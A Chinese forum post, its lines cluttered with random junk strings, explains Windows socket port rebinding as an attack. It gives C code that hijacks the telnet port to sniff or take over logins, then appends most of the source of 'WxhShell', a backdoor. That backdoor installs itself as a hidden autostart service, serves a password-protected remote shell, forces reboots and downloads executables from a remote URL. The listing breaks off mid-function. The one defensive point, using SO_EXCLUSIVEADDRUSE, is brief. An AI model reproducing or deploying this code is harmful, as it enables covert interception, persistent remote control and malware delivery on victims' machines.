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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V&e 9?5@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XM?>#^nC?u  
iwM$U( 9  
  saddr.sin_family = AF_INET; E^'f'\m  
#7(?B{i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1V/?p<A  
my1FW,3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f%ThS42  
naOCa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~F; ~  
nev@ykP6  
  这意味着什么?意味着可以进行如下的攻击: kxvzAKz~  
z.d1>w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RV@'$`Q  
#LU<v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z:gp\  
u([|^~H]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E!Ljq3iT`  
mc FSWmq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Gn?NY}.S  
M_BG :P5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (D5sJ$&E@\  
qnc?&f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nXRT%[o&  
uE'O}Y95  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8GN_ 3pT  
m.6O%jD  
  #include f$y`tT %o  
  #include Py72:;wn  
  #include Ez)hArxns  
  #include    'r 0kX||  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a]S0|\BkN  
  int main() \>]C  
  { <6rc 8jYz  
  WORD wVersionRequested; [C-4*qOaa2  
  DWORD ret; P$7i>(?(  
  WSADATA wsaData; d8!yV~Ka  
  BOOL val; 3bN]2\   
  SOCKADDR_IN saddr; 1-=ZIHW  
  SOCKADDR_IN scaddr; 2j=i\B  
  int err; fHV%.25  
  SOCKET s; Vu= e|A#  
  SOCKET sc; 1OI/,y8}  
  int caddsize; h<0&|s*a)  
  HANDLE mt; &# < M o  
  DWORD tid;   63PSYj(y  
  wVersionRequested = MAKEWORD( 2, 2 ); ou\M}C`E  
  err = WSAStartup( wVersionRequested, &wsaData ); AY x*Ngn  
  if ( err != 0 ) { Q94Lq~?YF  
  printf("error!WSAStartup failed!\n"); 7cQFH@SC  
  return -1; Wc HL:38  
  } JYw_Z*L=m  
  saddr.sin_family = AF_INET; `EdZ  
   cp_<y)__  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |MMaaW^"  
X/BcS[a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z#NEa.]  
  saddr.sin_port = htons(23); % B^BN|r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kl/n>qEt  
  { 1@:BUE;jZ  
  printf("error!socket failed!\n"); UP .4#1I  
  return -1; v$)ZoM6E  
  } )&{<gyS1  
  val = TRUE; `UD,ne  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kxH` c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <ebC]2j8cK  
  { ,CxIA^  
  printf("error!setsockopt failed!\n"); 'ju'O#A9  
  return -1; {oftZ Xwf  
  } PJF1+I.%c#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [[7=rn}@<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d=C&b]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [pxC3{|d$  
?1.W F}X'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Kwp8_kTr  
  { =&t]R? F  
  ret=GetLastError(); 6PyW(i(bs  
  printf("error!bind failed!\n"); :|a$[g5  
  return -1; ~J![Nx/  
  } p#0L@!,  
  listen(s,2); ;DgQ8"f  
  while(1) Y(&rlL(sPK  
  { R ~"&E#C  
  caddsize = sizeof(scaddr); zQ#2BOx1  
  //接受连接请求 QV[#^1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0.kC|  
  if(sc!=INVALID_SOCKET) d6e$'w@(\T  
  { :MihVLF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2jF}n*[OW  
  if(mt==NULL) |OiM(E(  
  { <Rfx`mn  
  printf("Thread Creat Failed!\n"); _0|@B8!J?  
  break; Ou`;HN;[  
  } *?pnTQs^  
  } '{w[).c.  
  CloseHandle(mt); ~gdnD4[G  
  } WD@v<Wx)  
  closesocket(s); WK5B8u*<  
  WSACleanup(); Qp9QS yMs}  
  return 0; q"i]&dMr  
  }   22/"0=2g  
  DWORD WINAPI ClientThread(LPVOID lpParam) =I0J1Ob  
  { hmB`+?,z*  
  SOCKET ss = (SOCKET)lpParam; E9\u^"GVO  
  SOCKET sc; L[^.pO  
  unsigned char buf[4096]; cB)tf S4)  
  SOCKADDR_IN saddr; -/:!AxIH  
  long num; G- |  
  DWORD val; z.|[g$F  
  DWORD ret; 5+2qx)FZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _*cKu>,O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j;I( w [@P  
  saddr.sin_family = AF_INET; gZBb /<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6rM{r>  
  saddr.sin_port = htons(23); $Wu|4]o>9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Ck:=V%}g  
  { 55ft ,a  
  printf("error!socket failed!\n"); y;%\ w-.\  
  return -1; m%nRHT0KAf  
  } < lUpvr  
  val = 100; /9,y+"0SQz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'nS>'yYH#  
  { N85ZbmU~  
  ret = GetLastError(); \Xe{vlo>h  
  return -1; .7M.bpmqE  
  } 3:)_oHq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z_a@,k:+[  
  { &Ez+4.srkh  
  ret = GetLastError(); N_G84wxx  
  return -1; h8 FV2"  
  } 9e4`N"#,lI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4];>O  
  { d)0|Q  
  printf("error!socket connect failed!\n"); IgRi(q^b-  
  closesocket(sc); P4LiU2C  
  closesocket(ss); 4|4 *rhwp  
  return -1; e jR_3K^  
  } 2PSkLS&IM  
  while(1) }=B~n0  
  { u08j9) ,4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [E+J=L.l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =q>lP+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,M:[GuXD<  
  num = recv(ss,buf,4096,0); Uw| -d[!  
  if(num>0) FAdTp.   
  send(sc,buf,num,0); o+L [o_er  
  else if(num==0) m2&Vm~Py6b  
  break; ^Nu j/  
  num = recv(sc,buf,4096,0); KEdqA/F>  
  if(num>0) 7H|0.  
  send(ss,buf,num,0); S<jiy<|`  
  else if(num==0) Z|fi$2k0!  
  break; 4TyzD%pOw  
  } {?q`9[Z  
  closesocket(ss); B%`| W@v  
  closesocket(sc); .V\~#Ro$G  
  return 0 ; hi4-Z=pl  
  } &M tF  
[mj=m?j  
*>HS>#S  
========================================================== !E|R3e X_  
A'Z!l20_  
下边附上一个代码,,WXhSHELL k2fJ  
gvPHB+#A  
========================================================== H/k]u)Gtv  
Y]^*mc0fE  
#include "stdafx.h" eA{A3.f"Hz  
72/ bC  
#include <stdio.h> -8vGvI>  
#include <string.h> Y; iI =U  
#include <windows.h> |onLJY7)  
#include <winsock2.h> s Ytn'&$\  
#include <winsvc.h> 4>2\{0r  
#include <urlmon.h> O9m sPb:  
<WnIJum  
#pragma comment (lib, "Ws2_32.lib") #DARZhU)  
#pragma comment (lib, "urlmon.lib") m%UF{I,  
^6Zx-Mf\  
#define MAX_USER   100 // 最大客户端连接数 wp'[AR}  
#define BUF_SOCK   200 // sock buffer lHPnAaue@  
#define KEY_BUFF   255 // 输入 buffer yE.st9m  
-[&Z{1A4x4  
#define REBOOT     0   // 重启 gI9nxy  
#define SHUTDOWN   1   // 关机 8k)*f+1o  
,1cpV|mAr  
#define DEF_PORT   5000 // 监听端口 s];0-65)  
 deq5u>  
#define REG_LEN     16   // 注册表键长度 6)W8HX~+  
#define SVC_LEN     80   // NT服务名长度 wkx#WC  
$at\aJ  
// 从dll定义API CIsX$W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,izp^,`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z op/ MeI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4^k8| # c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dx=RLiU9  
1r*yYm'  
// wxhshell配置信息 s&+`>  
struct WSCFG { ~C3J-z<  
  int ws_port;         // 监听端口 tOte[~,  
  char ws_passstr[REG_LEN]; // 口令 |eg8F$WU  
  int ws_autoins;       // 安装标记, 1=yes 0=no xi4b;U j  
  char ws_regname[REG_LEN]; // 注册表键名 G$)tp^%]  
  char ws_svcname[REG_LEN]; // 服务名 [O}D^qp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }'86hnW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z\]LG4N?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v~W ;&{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qx9; "Ut  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c<~DYe;;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mkPqxzxbrL  
tk:nth  
}; j^v<rCzc (  
]Nw ]po+  
// default Wxhshell configuration m5a'Vs  
struct WSCFG wscfg={DEF_PORT, B*E"yB\NV  
    "xuhuanlingzhe", I[gPW7&S@  
    1, 8r:T&)v  
    "Wxhshell", smn(q)tt  
    "Wxhshell", 2yD ?f8P4  
            "WxhShell Service", DZLEx{cm  
    "Wrsky Windows CmdShell Service", ?R4u>AHS@  
    "Please Input Your Password: ", ,\1Rf.  
  1, N)a5~<fBG  
  "http://www.wrsky.com/wxhshell.exe", {?++T 0  
  "Wxhshell.exe" KY0<N 9{  
    }; &U CtyCz  
M?;YpaSe+  
// 消息定义模块 90,UhNz9D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H3pZfdh?w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g;OR{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 44t;#6p@%>  
char *msg_ws_ext="\n\rExit."; \VI0/G)L  
char *msg_ws_end="\n\rQuit."; lp5'-Jo  
char *msg_ws_boot="\n\rReboot..."; k^cnNx  
char *msg_ws_poff="\n\rShutdown..."; '/rU<.1  
char *msg_ws_down="\n\rSave to "; "vkM*HP  
uZ@qlq8  
char *msg_ws_err="\n\rErr!"; !>wu7u-  
char *msg_ws_ok="\n\rOK!"; q4'`qe  
??|,wIRz  
char ExeFile[MAX_PATH]; A[`c+&  
int nUser = 0; ~(NFjCUY?  
HANDLE handles[MAX_USER]; 1K)9fMr]  
int OsIsNt; AAuwE&Gg  
cVarvueS  
SERVICE_STATUS       serviceStatus; O3d Qno  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Eh|6{LDn!  
0r[a$p>`  
// 函数声明 V\Y, 4&bI  
int Install(void); UF\k0oLz  
int Uninstall(void); EM1HwapD  
int DownloadFile(char *sURL, SOCKET wsh); D8xE"6T>  
int Boot(int flag); Fo5UG2E&  
void HideProc(void); tu@-+< *  
int GetOsVer(void); N6T  
int Wxhshell(SOCKET wsl); !}c\u  
void TalkWithClient(void *cs); a*_&[  
int CmdShell(SOCKET sock); O-pH~E  
int StartFromService(void); Oml /;p  
int StartWxhshell(LPSTR lpCmdLine); kp!(e0n  
m]'+Eye ]r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Htl e %  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Jlsx0i}}  
_ 5b~3K/V  
// 数据结构和表定义 n:?a=xY  
SERVICE_TABLE_ENTRY DispatchTable[] = &uV|Ie8@q  
{ jROh3kq  
{wscfg.ws_svcname, NTServiceMain}, X4Uy3TV>  
{NULL, NULL} _{}^]ZB  
}; [Z;H= `  
jaVx9FR +  
// 自我安装 U[q39FR  
int Install(void) 1N { >00  
{ h+cOOm-)  
  char svExeFile[MAX_PATH]; VP?Q$?a  
  HKEY key; U+(qfa5(  
  strcpy(svExeFile,ExeFile); &N3a`Ua  
y 1Wb/ d  
// 如果是win9x系统,修改注册表设为自启动 \q^ dhY>)  
if(!OsIsNt) { 4(Y-TFaf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uKJo5%>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EpCNp FQT<  
  RegCloseKey(key); $bBUL C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CG J_k?h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sebuuL.l0<  
  RegCloseKey(key); jxq89x  
  return 0; &Ot9"Aq:  
    } ,?%o ~  
  } YluvWHWi  
} ]D^; Ca  
else { \[8uE,=|  
N ;n55N  
// 如果是NT以上系统,安装为系统服务 N[DKA1Ei  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %+;amRb  
if (schSCManager!=0) @kba^z  
{ Q'j00/K  
  SC_HANDLE schService = CreateService 46 |LIc }  
  ( yV6U<AP$3  
  schSCManager, })q8{Qj!  
  wscfg.ws_svcname, /nt%VLms %  
  wscfg.ws_svcdisp, !HW?/-\,O  
  SERVICE_ALL_ACCESS, O-~cj7 0\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MRK3Cey}%  
  SERVICE_AUTO_START, OKj\>3  
  SERVICE_ERROR_NORMAL, 62[_u]<Yub  
  svExeFile, 6pZ/C<Y|W  
  NULL, 6$csFW3R  
  NULL, X&@>M}  
  NULL, b=L|GV@$  
  NULL, n^|7ycB'  
  NULL }Py Z{yS  
  ); [Z1,~(3  
  if (schService!=0) fq):'E)  
  { O31.\ZR2  
  CloseServiceHandle(schService); )o&}i3~Q  
  CloseServiceHandle(schSCManager); >{0,dGm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N~(?g7  
  strcat(svExeFile,wscfg.ws_svcname); /de~+I5AB~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  %Rm`YH?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PA,\o8]x  
  RegCloseKey(key); 5fp&!HnG  
  return 0; =#%Vs>G  
    } =jU#0FAO  
  } )M56vyo  
  CloseServiceHandle(schSCManager); aLQ]2m  
} sE^= ]N  
} 3YEw7GIO-  
t-]~^s  
return 1; Xupwh5G2  
} h<!!r  
!\\1#:*_W  
// 自我卸载 3Z%jx#  
int Uninstall(void) WxtB:7J  
{ K#y CZ2  
  HKEY key; zWF[cf>'  
d#I; e  
if(!OsIsNt) { 8Urj;KkD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S;nlC  
  RegDeleteValue(key,wscfg.ws_regname); ^Uik{x  
  RegCloseKey(key); C33RXt$X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZM57(D  
  RegDeleteValue(key,wscfg.ws_regname); sHSg _/|  
  RegCloseKey(key); 5hlS2fn  
  return 0; N_VWA.JHt  
  } @4]dv> Z  
} - KaU@t  
} cA!o xti  
else {  '^,|8A2  
uC 2{ Mmy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0qN+W&H  
if (schSCManager!=0) o& ?:pE  
{ l<s6Uu"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <VT|R~  
  if (schService!=0) okbW.  ~  
  { [R/'hH5  
  if(DeleteService(schService)!=0) { !XF:.|  
  CloseServiceHandle(schService); g'.(te |  
  CloseServiceHandle(schSCManager); -&np/tEu&  
  return 0; ;7mE%1X  
  } N6!9QIu~i  
  CloseServiceHandle(schService); (;++a9GK  
  } ^'hh?mL  
  CloseServiceHandle(schSCManager); uCf _O~  
} *p^*>~i9)  
} K|rG&#1J  
7x(z  
return 1; -Vjrh/@  
} Tpp?(lT7r  
XhJYsq]]J  
// 从指定url下载文件 Pbakw81!~  
int DownloadFile(char *sURL, SOCKET wsh) K5\;'.9M  
{ /)XN^Jwa;m  
  HRESULT hr; 2nB{oF-Z  
char seps[]= "/"; H+VjY MvK  
char *token; z?C& ,mv  
char *file; 5oOFl  
char myURL[MAX_PATH]; l}9E0^AS  
char myFILE[MAX_PATH]; Yj*!t1qm  
BPypjS0?8  
strcpy(myURL,sURL); a]?o"{{+  
  token=strtok(myURL,seps); +J2;6t  
  while(token!=NULL) T<u QhPMw  
  { 1u_< 1X3  
    file=token; "pQ) 5/e  
  token=strtok(NULL,seps); F{ sPQf'  
  } dpB\=  
x I(X+d``  
GetCurrentDirectory(MAX_PATH,myFILE); Y;>D"C..  
strcat(myFILE, "\\"); j55OG~)  
strcat(myFILE, file); 5_Oxl6#  
  send(wsh,myFILE,strlen(myFILE),0); p4wx&VLi  
send(wsh,"...",3,0); Q;2n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |@pn=wW  
  if(hr==S_OK) G@1T!`  
return 0; sN@=Ri?\  
else ko`KAU<T_  
return 1; SfGl*2  
?w>-ya  
} /jd.<r=_I  
4cJka~  
// 系统电源模块 'a=QCO 0  
int Boot(int flag) xdrs!GV:  
{ Kq zQLu  
  HANDLE hToken; T7ICXpe@  
  TOKEN_PRIVILEGES tkp; hixG/%aO  
RH0J#6C/  
  if(OsIsNt) { <P pW.1w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &z;1Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }x?2txuu  
    tkp.PrivilegeCount = 1; U oG+du[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $5J~4B"%3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I{uwT5QT-  
if(flag==REBOOT) { O|Y~^:ny  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _K<Z  
  return 0; ~)]R  
} YC =:W  
else { xt X`3=s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'E kuCL  
  return 0; >1NE6T  
} 1p COLC%1  
  } "uG@gV  
  else { qnTW?c9Z5  
if(flag==REBOOT) { lVo}DFZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {4HcecT  
  return 0; DkeFDzQ5  
} E6s)J -a  
else { DY8w\1g"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #0 eop>O  
  return 0; "\l#q$1h  
} asKAHVT(  
} nlR7V.  
NrWgaPO)i  
return 1; =4:]V\o):'  
} Q <2 `ek  
Zo T8  
// win9x进程隐藏模块 s=83a{#K  
void HideProc(void) )wfqGkr=m!  
{ C0 o  
2~)r,.,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %%hG],w  
  if ( hKernel != NULL ) ]seOc],4  
  { ?j@(1",=&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "|<U`3y6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {# Vp`ji  
    FreeLibrary(hKernel); G^qt@,n$;  
  } 2rG$.cGN"  
X.J$ 5b  
return; I|vfxf  
} BFn4H%1  
&a?k1R>  
// 获取操作系统版本 GVUZn//  
int GetOsVer(void) sJ5Ws%q  
{ J6RzN'j  
  OSVERSIONINFO winfo; ,^uQw/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q> J9M` a  
  GetVersionEx(&winfo); }C<$q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9UE)4*5  
  return 1; 7~m[:Eg6[s  
  else v)%0`%nSR  
  return 0; tDn:B$*}W,  
} 1Y(NxC0P=g  
4)NbQ[  
// 客户端句柄模块 {&0u:  
int Wxhshell(SOCKET wsl) S)=3%toS>  
{ VrnZrQj<  
  SOCKET wsh; Ktn:6=,  
  struct sockaddr_in client; #-8%g{  
  DWORD myID; pra0:oHN  
o&:'MwU  
  while(nUser<MAX_USER) {Xv0=P  
{ w>TTu: 7  
  int nSize=sizeof(client); /SD(g@G,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]jgMN7  
  if(wsh==INVALID_SOCKET) return 1; '))K' u  
/#g P#Z%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B*AB@  
if(handles[nUser]==0) o3(:R0  
  closesocket(wsh); JXF0}T)C  
else u Xo?  
  nUser++; cN%@ nW0i  
  } KK, t!a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _o'a|=Osx>  
xt1Ug~5  
  return 0; .njk^,N  
} H_>9'(  
|}isSCt  
// 关闭 socket 0N`N  
void CloseIt(SOCKET wsh) }}u16x}*n  
{ k\KI#.>  
closesocket(wsh); >.&E-1[+:  
nUser--; XNQPyZ2@|b  
ExitThread(0); /|>?!;   
} 6d/1PGB  
IH3Nkpsg  
// 客户端请求句柄 BD?u|Fd,i:  
void TalkWithClient(void *cs) {wvBs87  
{ N<^)tR8+  
{iYrC m[_  
  SOCKET wsh=(SOCKET)cs; V-k x=M"k  
  char pwd[SVC_LEN]; x,LY fy"0  
  char cmd[KEY_BUFF]; !4+ FN)  
char chr[1]; n.OsmCRN;  
int i,j; 9NeHN@D)  
dQ=L<{(  
  while (nUser < MAX_USER) { (CInt_dBw~  
QzVoU |  
if(wscfg.ws_passstr) { 9Xh1i`.D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;*njS1@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uP$C2glyz  
  //ZeroMemory(pwd,KEY_BUFF); aW_Pv~  
      i=0; N^4CA@'{  
  while(i<SVC_LEN) { xiOAj"}~  
c'SjH".[  
  // 设置超时 ;$'D13  
  fd_set FdRead; aY0{vX  
  struct timeval TimeOut; 6o&ZS @  
  FD_ZERO(&FdRead); `APeS=< &  
  FD_SET(wsh,&FdRead); G.]'pn  
  TimeOut.tv_sec=8; !3`X Gg  
  TimeOut.tv_usec=0; bMB*9<c~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <RuLIu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {'sp8:$a  
%\T#Ik~3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m\G45%m  
  pwd=chr[0]; *R3^:Y&  
  if(chr[0]==0xd || chr[0]==0xa) { <b-OdOg  
  pwd=0; |cgc^S/~H  
  break; {$Z S 2 7  
  } Tly*i"[&  
  i++; SvQ!n4 $  
    } *yYeqm  
,0f^>3&n>e  
  // 如果是非法用户,关闭 socket W/<Lp+p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9D]bCi\  
} S4VM(~,o  
l'7' G$v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ddC a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eh}|Wd7J  
B*:W`}G]_c  
while(1) { ?-JW2 E"uT  
Q7-'5s   
  ZeroMemory(cmd,KEY_BUFF); iLQ;`/j  
l~mj>$  
      // 自动支持客户端 telnet标准   Zi{vEI]  
  j=0; U#:N/ts*(  
  while(j<KEY_BUFF) { X 4\V4_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >dXB)yl  
  cmd[j]=chr[0]; Cd|rDa  
  if(chr[0]==0xa || chr[0]==0xd) { 80K"u[  
  cmd[j]=0; eW;c 3<  
  break; r4Xaa<  
  } S 9|^VU  
  j++; Mavid kS  
    } Oj '^Ww m  
$B`ETI9g-N  
  // 下载文件 Vg}+w Nt5  
  if(strstr(cmd,"http://")) { cN`P5xP'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e[6Me[b  
  if(DownloadFile(cmd,wsh)) s9SUj^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E: Ul_m8  
  else e5(c,,/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|0$?w  
  } IZuP{7p$  
  else { +I+RNXR/{  
C!Jy;Z=+u  
    switch(cmd[0]) { \+"Jg/)ij  
  5xQ5)B4k  
  // 帮助 WO$8j2!~#  
  case '?': { F`>qg2wO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x"A\ Z-xxz  
    break; = u&dU'@q  
  } `yh][gqVE~  
  // 安装 q8MyEoc:n  
  case 'i': { \+Y5b}  
    if(Install()) ^UBzX;|p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:*V'/2k  
    else #vc!SI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M zF,is  
    break; F~/~_9RJ  
    } rpc;*t+z  
  // 卸载 F^&@[k7WW  
  case 'r': { DABV}@K"  
    if(Uninstall()) BwAmNW&i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5a4i)I6 3o  
    else |h6, .#n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vhzz(UPUt  
    break; h+}{FB 29  
    }  Q.Y6  
  // 显示 wxhshell 所在路径 w$j6!z  
  case 'p': { _&[-< cu  
    char svExeFile[MAX_PATH]; %Vfr#j$=  
    strcpy(svExeFile,"\n\r"); 58R.`5B  
      strcat(svExeFile,ExeFile); m~4ik1 wq  
        send(wsh,svExeFile,strlen(svExeFile),0); 8( Q  
    break; y5XFJj  
    } #mD_<@@  
  // 重启 ?rziKT5OOC  
  case 'b': { =i6k[rg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OS1f}<  
    if(Boot(REBOOT)) _-2;!L#/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+e s  
    else { NTSIClm}U  
    closesocket(wsh); qcge#S>  
    ExitThread(0); >8&fFq  
    } N*\r i0  
    break; l;@bs  
    } kx;7/fH  
  // 关机 n4.\}%=z  
  case 'd': { k%iwt]i%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "whs?^/  
    if(Boot(SHUTDOWN)) fcy4?SQ.<i  
